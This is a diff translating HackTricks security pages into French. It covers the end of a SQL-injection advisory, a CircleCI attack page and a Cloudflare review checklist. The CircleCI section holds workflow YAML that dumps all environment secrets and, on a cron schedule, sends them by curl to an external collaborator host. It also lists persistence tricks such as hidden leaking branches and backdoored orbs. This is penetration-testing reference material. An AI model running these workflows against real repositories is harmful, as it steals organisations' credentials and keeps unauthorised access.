- Consigner et alerter sur l'utilisation de x-data-collector-token, en particulier des valeurs par défaut connues, sur l'ensemble des chemins API
|
||||
|
||||
## Mitigations and Hardening
|
||||
|
||||
- Immediate:
|
||||
- Rotate/disable default data collector tokens
|
||||
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
|
||||
- Faire tourner/désactiver les data collector tokens par défaut
|
||||
- Restreindre l'ingress vers les endpoints du data collector ; appliquer des tokens forts et uniques
|
||||
- Code-level:
|
||||
- Parameterize queries; never string-concatenate SQL fragments
|
||||
- Strictly whitelist allowed type values on the server (enum)
|
||||
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
|
||||
- Paramétrer les requêtes ; ne jamais concaténer des fragments SQL sous forme de chaînes
|
||||
- Restreindre strictement par whitelist les valeurs type autorisées côté serveur (enum)
|
||||
- Éviter l'assemblage dynamique de SQL pour les identifiants/clauses ; si un comportement dynamique est requis, utiliser un quoting sûr des identifiants et des whitelists explicites
|
||||
|
||||
## Practical Testing Checklist
|
||||
|
||||
- Check if x-data-collector-token is accepted and whether the known default works
|
||||
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
|
||||
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
|
||||
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
|
||||
- Vérifier si x-data-collector-token est accepté et si la valeur par défaut connue fonctionne
|
||||
- Cartographier le schéma de requête de la Compliance API en provoquant des erreurs de validation et en lisant les messages/headers d'erreur
|
||||
- Tester la présence de SQLi dans des champs “de type identifiant” moins évidents (par ex., filters[].type), pas seulement dans les tableaux de valeurs ou les champs texte de premier niveau
|
||||
- Utiliser des techniques basées sur le temps avec concaténation pour maintenir la validité syntaxique du SQL selon les contextes
|
||||
|
||||
## References
|
||||
|
||||
@@ -147,4 +139,4 @@ Authenticated users—or unauthenticated actors abusing a default x-data-collect
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,258 +1,235 @@
|
||||
# CircleCI Security
|
||||
# CircleCI Sécurité
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Informations de base
|
||||
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) est une plateforme d'intégration continue où vous pouvez **définir des modèles** indiquant ce que vous voulez qu'elle fasse avec du code et quand le faire. De cette manière, vous pouvez **automatiser les tests** ou **les déploiements** directement **à partir de la branche principale de votre dépôt**, par exemple.
|
||||
|
||||
### Permissions
|
||||
|
||||
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
|
||||
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
|
||||
**CircleCI** **hérite des permissions** de github et bitbucket liées au **compte** qui se connecte.\
|
||||
Dans mes tests, j'ai vérifié que tant que vous avez **des permissions d'écriture sur le dépôt dans github**, vous pourrez **gérer les paramètres de son projet dans CircleCI** (définir de nouvelles clés ssh, obtenir des clés api de projet, créer de nouvelles branches avec de nouvelles configurations CircleCI...).
|
||||
|
||||
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
|
||||
Cependant, vous devez être un **administrateur de dépôt** pour **convertir le dépôt en projet CircleCI**.
|
||||
|
||||
### Env Variables & Secrets
|
||||
### Variables d'environnement & Secrets
|
||||
|
||||
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
|
||||
Selon [**la documentation**](https://circleci.com/docs/2.0/env-vars/), il existe différentes manières de **charger des valeurs dans des variables d'environnement** à l'intérieur d'un workflow.
|
||||
|
||||
#### Built-in env variables
|
||||
#### Variables d'environnement intégrées
|
||||
|
||||
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
|
||||
Chaque conteneur exécuté par CircleCI aura toujours [**des variables d'environnement spécifiques définies dans la documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) comme `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` ou `CIRCLE_USERNAME`.
|
||||
|
||||
#### Clear text
|
||||
|
||||
You can declare them in clear text inside a **command**:
|
||||
#### Texte clair
|
||||
|
||||
Vous pouvez les déclarer en texte clair à l'intérieur d'une **commande** :
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **run environment**:
|
||||
|
||||
Vous pouvez les déclarer en texte clair à l'intérieur de l'**environnement d'exécution** :
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **build-job environment**:
|
||||
|
||||
Vous pouvez les déclarer en texte clair à l'intérieur de l'**environnement de build-job** :
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **environment of a container**:
|
||||
|
||||
Vous pouvez les déclarer en texte clair à l'intérieur de l'**environnement d'un conteneur** :
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
#### Secrets de Projet
|
||||
|
||||
#### Project Secrets
|
||||
|
||||
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
|
||||
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
Ce sont des **secrets** qui ne seront **accessibles** que par le **projet** (par **n'importe quelle branche**).\
|
||||
Vous pouvez les voir **déclarés dans** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
|
||||
> La fonctionnalité "**Import Variables**" permet d'**importer des variables d'autres projets** vers celui-ci.
|
||||
|
||||
#### Context Secrets
|
||||
#### Secrets de Contexte
|
||||
|
||||
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
|
||||
Ce sont des secrets qui sont **à l'échelle de l'organisation**. Par **défaut, n'importe quel repo** pourra **accéder à n'importe quel secret** stocké ici :
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
|
||||
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
|
||||
> Cependant, notez qu'un groupe différent (au lieu de Tous les membres) peut être **sélectionné pour donner accès aux secrets à des personnes spécifiques**.\
|
||||
> C'est actuellement l'un des meilleurs moyens d'**augmenter la sécurité des secrets**, pour ne pas permettre à tout le monde d'y accéder mais seulement à certaines personnes.
|
||||
|
||||
### Attacks
|
||||
### Attaques
|
||||
|
||||
#### Search Clear Text Secrets
|
||||
#### Recherche de Secrets en Texte Clair
|
||||
|
||||
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
|
||||
Si vous avez **accès au VCS** (comme github), vérifiez le fichier `.circleci/config.yml` de **chaque repo sur chaque branche** et **recherchez** des **secrets en texte clair** potentiels stockés là.
|
||||
|
||||
#### Secret Env Vars & Context enumeration
|
||||
#### Énumération des Variables Env Secrètes & Contextes
|
||||
|
||||
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
En vérifiant le code, vous pouvez trouver **tous les noms de secrets** qui sont **utilisés** dans chaque fichier `.circleci/config.yml`. Vous pouvez également obtenir les **noms de contexte** à partir de ces fichiers ou les vérifier dans la console web : _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
|
||||
#### Exfiltrate Project secrets
|
||||
#### Exfiltrer les Secrets de Projet
|
||||
|
||||
> [!WARNING]
|
||||
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
|
||||
> Pour **exfiltrer TOUS** les **SECRETS** de projet et de contexte, vous **devez juste** avoir un accès **ÉCRIT** à **juste 1 repo** dans l'ensemble de l'organisation github (_et votre compte doit avoir accès aux contextes mais par défaut tout le monde peut accéder à chaque contexte_).
|
||||
|
||||
> [!CAUTION]
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
|
||||
|
||||
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
|
||||
> La fonctionnalité "**Import Variables**" permet d'**importer des variables d'autres projets** vers celui-ci. Par conséquent, un attaquant pourrait **importer toutes les variables de projet de tous les repos** et ensuite **exfiltrer toutes ensemble**.
|
||||
|
||||
Tous les secrets de projet sont toujours définis dans l'env des jobs, donc il suffit d'appeler env et de l'obfusquer en base64 pour exfiltrer les secrets dans la **console de log web des workflows** :
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
Si vous **n'avez pas accès à la console web** mais que vous avez **accès au dépôt** et que vous savez que CircleCI est utilisé, vous pouvez simplement **créer un workflow** qui est **déclenché toutes les minutes** et qui **exfiltre les secrets vers une adresse externe** :
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
#### Exfiltrer les secrets de contexte
|
||||
|
||||
#### Exfiltrate Context Secrets
|
||||
|
||||
You need to **specify the context name** (this will also exfiltrate the project secrets):
|
||||
|
||||
Vous devez **spécifier le nom du contexte** (cela exfiltrera également les secrets du projet) :
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
Si vous **n'avez pas accès à la console web** mais que vous avez **accès au dépôt** et que vous savez que CircleCI est utilisé, vous pouvez simplement **modifier un workflow** qui est **déclenché toutes les minutes** et qui **exfiltre les secrets vers une adresse externe** :
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
|
||||
> Créer simplement un nouveau `.circleci/config.yml` dans un dépôt **ne suffit pas à déclencher une build circleci**. Vous devez **l'activer en tant que projet dans la console circleci**.
|
||||
|
||||
#### Escape to Cloud
|
||||
#### Échapper vers le Cloud
|
||||
|
||||
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
|
||||
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
|
||||
|
||||
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
|
||||
**CircleCI** vous offre la possibilité d'exécuter **vos builds sur leurs machines ou sur les vôtres**.\
|
||||
Par défaut, leurs machines sont situées dans GCP, et vous ne pourrez initialement rien trouver de pertinent. Cependant, si une victime exécute les tâches sur **ses propres machines (potentiellement, dans un environnement cloud)**, vous pourriez trouver un **point de terminaison de métadonnées cloud avec des informations intéressantes**.
|
||||
|
||||
Remarquez que dans les exemples précédents, tout a été lancé à l'intérieur d'un conteneur docker, mais vous pouvez également **demander à lancer une machine VM** (qui peut avoir des autorisations cloud différentes) :
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
```
|
||||
|
||||
Or even a docker container with access to a remote docker service:
|
||||
|
||||
Ou même un conteneur docker avec accès à un service docker distant :
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
```
|
||||
#### Persistance
|
||||
|
||||
#### Persistence
|
||||
|
||||
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- It's possible to **add SSH keys** to the projects.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
|
||||
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
|
||||
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
|
||||
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
|
||||
- Il est possible de **créer** des **tokens utilisateur dans CircleCI** pour accéder aux points de terminaison de l'API avec les accès des utilisateurs.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- Il est possible de **créer des tokens de projet** pour accéder au projet avec les permissions données au token.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- Il est possible d'**ajouter des clés SSH** aux projets.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- Il est possible de **créer un cron job dans une branche cachée** dans un projet inattendu qui **fuit** toutes les **variables d'environnement contextuelles** chaque jour.
|
||||
- Ou même de créer dans une branche / modifier un job connu qui **fuit** tous les secrets de contexte et de **projets** chaque jour.
|
||||
- Si vous êtes propriétaire d'un github, vous pouvez **autoriser des orbes non vérifiés** et en configurer un dans un job comme **porte dérobée**.
|
||||
- Vous pouvez trouver une **vulnérabilité d'injection de commande** dans certaines tâches et **injecter des commandes** via un **secret** en modifiant sa valeur.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Cloudflare Security
|
||||
# Cloudflare Sécurité
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
Dans un compte Cloudflare il existe certains **paramètres généraux et services** qui peuvent être configurés. Sur cette page nous allons **analyser les paramètres liés à la sécurité de chaque section :**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websites
|
||||
## Sites Web
|
||||
|
||||
Review each with:
|
||||
|
||||
@@ -16,7 +16,7 @@ cloudflare-domains.md
|
||||
|
||||
### Domain Registration
|
||||
|
||||
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
|
||||
- [ ] Dans **`Transfer Domains`**, vérifiez qu'il n'est pas possible de transférer un domaine.
|
||||
|
||||
Review each with:
|
||||
|
||||
@@ -30,35 +30,41 @@ _I couldn't find anything to check for a config security review._
|
||||
|
||||
## Pages
|
||||
|
||||
On each Cloudflare's page:
|
||||
Sur chaque page de Cloudflare :
|
||||
|
||||
- [ ] Check for **sensitive information** in the **`Build log`**.
|
||||
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
|
||||
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
|
||||
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
|
||||
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
|
||||
- [ ] Vérifier la présence d'**informations sensibles** dans le **`Build log`**.
|
||||
- [ ] Vérifier la présence d'**informations sensibles** dans le **Github repository** assigné aux Pages.
|
||||
- [ ] Rechercher un compromis potentiel du github repo via une **workflow command injection** ou par compromission de `pull_request_target`. More info in the [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Vérifier les **fonctions vulnérables** dans le répertoire `/fuctions` (si présent), vérifier les **redirections** dans le fichier `_redirects` (si présent) et les **entêtes mal configurés** dans le fichier `_headers` (si présent).
|
||||
- [ ] Rechercher des **vulnérabilités** dans la **page web** via **blackbox** ou **whitebox** si vous pouvez **accéder au code**.
|
||||
- [ ] Dans les détails de chaque page `/<page_id>/pages/view/blocklist/settings/functions`. Vérifier la présence d'**informations sensibles** dans les **`Environment variables`**.
|
||||
- [ ] Dans la page de détails, vérifiez également la **build command** et le **root directory** pour des **injections potentielles** permettant de compromettre la page.
|
||||
|
||||
## **Workers**
|
||||
|
||||
On each Cloudflare's worker check:
|
||||
Pour chaque worker Cloudflare, vérifiez :
|
||||
|
||||
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
- [ ] Les triggers : qu'est-ce qui déclenche le worker ? Un **utilisateur peut-il envoyer des données** qui seront **utilisées** par le worker ?
|
||||
- [ ] Dans les **`Settings`**, vérifiez la présence de **`Variables`** contenant des **informations sensibles**
|
||||
- [ ] Vérifiez le **code du worker** et recherchez des **vulnérabilités** (surtout aux endroits où l'utilisateur peut contrôler l'entrée)
|
||||
- Cherchez des SSRF renvoyant la page indiquée que vous pouvez contrôler
|
||||
- Cherchez des XSS exécutant du JS à l'intérieur d'une image svg
|
||||
- Il est possible que le worker interagisse avec d'autres services internes. Par exemple, un worker peut interagir avec un bucket R2 stockant des informations obtenues depuis l'entrée. Dans ce cas, il sera nécessaire de vérifier quelles capacités le worker a sur le bucket R2 et comment cela pourrait être abusé via l'entrée utilisateur.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
> Notez que par défaut un **Worker reçoit une URL** telle que `<worker-name>.<account>.workers.dev`. L'utilisateur peut la définir sur un **sous-domaine**, mais vous pouvez toujours y accéder avec cette **URL originale** si vous la connaissez.
|
||||
|
||||
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
{{#endref}}
|
||||
|
||||
## R2
|
||||
|
||||
On each R2 bucket check:
|
||||
Pour chaque bucket R2, vérifiez :
|
||||
|
||||
- [ ] Configure **CORS Policy**.
|
||||
- [ ] Configurez la **CORS Policy**.
|
||||
|
||||
## Stream
|
||||
|
||||
@@ -70,8 +76,8 @@ TODO
|
||||
|
||||
## Security Center
|
||||
|
||||
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
|
||||
- [ ] Just **check this information** for security misconfigurations and interesting info
|
||||
- [ ] Si possible, lancez un **`Security Insights`** **scan** et un **`Infrastructure`** **scan**, car ils mettront en **évidence** des informations intéressantes d'un point de vue **sécurité**.
|
||||
- [ ] Il suffit de **vérifier ces informations** pour des mauvaises configurations de sécurité et des informations intéressantes
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -88,50 +94,47 @@ cloudflare-zero-trust-network.md
|
||||
> [!NOTE]
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
|
||||
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
|
||||
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
|
||||
- [ ] Vérifiez que les **expressions** et les **exigences** des redirections **ont du sens**.
|
||||
- [ ] Vérifiez aussi la présence d'**endpoints cachés sensibles** qui pourraient contenir des informations intéressantes.
|
||||
|
||||
## Notifications
|
||||
|
||||
- [ ] Check the **notifications.** These notifications are recommended for security:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
- [ ] Vérifiez les **notifications**. Ces notifications sont recommandées pour la sécurité :
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Vérifiez toutes les **destinations**, car il pourrait y avoir des **informations sensibles** (auth HTTP basique) dans les webhook urls. Assurez-vous également que les webhook urls utilisent **HTTPS**
|
||||
- [ ] Comme vérification supplémentaire, vous pouvez tenter **d'usurper une notification Cloudflare** vers un tiers, peut-être pouvez-vous d'une manière ou d'une autre **injecter quelque chose de dangereux**
|
||||
|
||||
## Manage Account
|
||||
|
||||
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
|
||||
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
|
||||
- [ ] Il est possible de voir les **4 derniers chiffres de la carte**, la **date d'expiration** et **l'adresse de facturation** dans **`Billing` -> `Payment info`**.
|
||||
- [ ] Il est possible de voir le **type de plan** utilisé dans le compte dans **`Billing` -> `Subscriptions`**.
|
||||
